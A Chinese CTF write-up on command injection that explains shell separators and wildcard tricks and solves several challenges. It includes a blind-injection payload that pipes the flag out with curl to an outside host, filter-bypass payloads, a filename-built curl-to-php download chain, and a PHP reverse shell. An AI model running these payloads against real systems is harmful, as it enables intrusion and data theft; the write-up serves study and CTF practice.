命令注入初步

前言

最近做了一些题目涉及了不少命令注入相关的技巧,这里来总结下。

基本概念

对命令注入的理解

实际上这方面和sql注入的成因还是有点类似的,主要是由于命令部分与数据部分没有很好地做区分,从而导致攻击者可以通过植入精心构造的payloay来达到自己的目的。例如读敏感信息,获取反弹shell等等。

一些基础知识

  1. linux命令执行中常见的分隔符
    1. &: cmd1&cmd2&cmd3 多条命令同时执行
    2. |: 管道符号 ps -aux|grep 8080 |后命令以前一条命令为输入
    3. ||: 短路符号 cmd1||cmd2||cmd3只要其中一条被执行,后面的语句就不会被执行
    4. &&: cmd1&&cmd2&&cmd3 只要有一条命令失败,就全部中断执行
    5. ;单纯分割多条命令来
    6. %0a换行
  2. 通配符,linux执行命令是仅仅只会对命令进行文本替换,不会做进一步解析,这里可以利用。
    1. * 匹配任意内容,* 也可以当前目录下所有的文件名
    2. ? 匹配单个任意字符
  3. ${xxx} 内容替换,Linux下有些常见的替换比如,${IFS}空字符或tab或换行等。
  4. $()和``等价,执行括号中的命令

几道题目

code_audit_challenge 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_REQUEST['ip'])) {
$target = trim($_REQUEST['ip']);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
$cmd = shell_exec('ping -c 4 ' . $target);
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

按照刚刚的思路,%0a换行执行第二行命令,这道题直接读取cat flag.php即可

垃圾网站检测器

这道题是典型的无回显命令注入,需要用到有外网ip的设备

预测后台语句应该是这样的形式 system(“ping $_GET[‘url’]”),只要将前面的语句闭合然后就可以顺利的写入后面的语句
payload: http://seclabs.cn:8009/?url=127.0.0.1;cat%20/flag|curl%20http://xxx%20-d%20@-
建议用自己的vps nc

bypass 正则waf

  1. 正确得书写正则表达式\|\n

  2. 通配符过黑名单

  3. 各种查找flag的姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php

highlight_file(__FILE__);

$a = $_GET['a'];

$b = $_GET['b'];

// try bypass it

if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))

$a = "";

$a ='"' . $a . '"';

if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))

$b = "";

$b = '"' . $b . '"';

$cmd = "file $a $b";

str_replace(" ","","$cmd");

echo $cmd.PHP_EOL;

system($cmd);

?>
  1. 由于错误地书写正则表达式\|\n 导致|被转义使得\n和\逃逸,所以可以通过\逃逸”,通过%0a执行第二条命令(这是个很容易犯的错误)

  2. grep bin等被过滤可以用/b?n/ [a-z]等通配符绕过

  3. grep -r . .(递归搜索所有该目录下的文件)或者ls -a搜索flag即可

1
2

http://183.129.189.60:10026/?a=\&b= 1%0a/b?n/l[r-t] -a /var/[v-x][v-x][v-x]/html/.F1jh_ / \

发现flag文件h3R3_1S_your_F1A9.txt,访问即可得到flag

code challenge 60(hitcon ctf 2017)

1
2
3
4
5
6
7
8
9
10
11
<?php
$sandbox = '/root/Desktop/code_challenge/' . md5("orange" . $_SERVER['REMOTE_ADDR']);

@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这里主要用到了几个技巧

  1. * 匹配当前目录下所有非隐藏文件文件名,并将其作为命令拼接(文件echo hello)* 执行echo hello
  2. ls -t 获取当前文件列表且按照修改时间排序 最后创建的文件排在最上面
  3. dir filename filename1 >v 将f f1文件名导入v文件获取类似于t- sl这样的命令文本
  4. 利于rev 文件和 *v 匹配 rev v ,然后执行命令文本逆序
  5. xx\ 命令换行
  6. 可以用python或者shell脚本简化getshell流程

####ls -th命令模块

1
2
3
4
5
6
7
>sl
>ht-
>dir
*>v
>rev
*v>x
sh x

php反弹脚本

1
2
$sock=fsockopen("xxx",1234);
exec("/bin/sh -i <&3 >&3 2>&3");

getshell全过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
>ht-
>g\>
>sl
>dir
*>v
>rev
*v>x
sh x

>\;
>hp\
>p\
>\|\
>op\
>t\
>3.\
>12\
>ar\
>st\
>\ \
>rl\
>cu\
sh x
sh g

image.png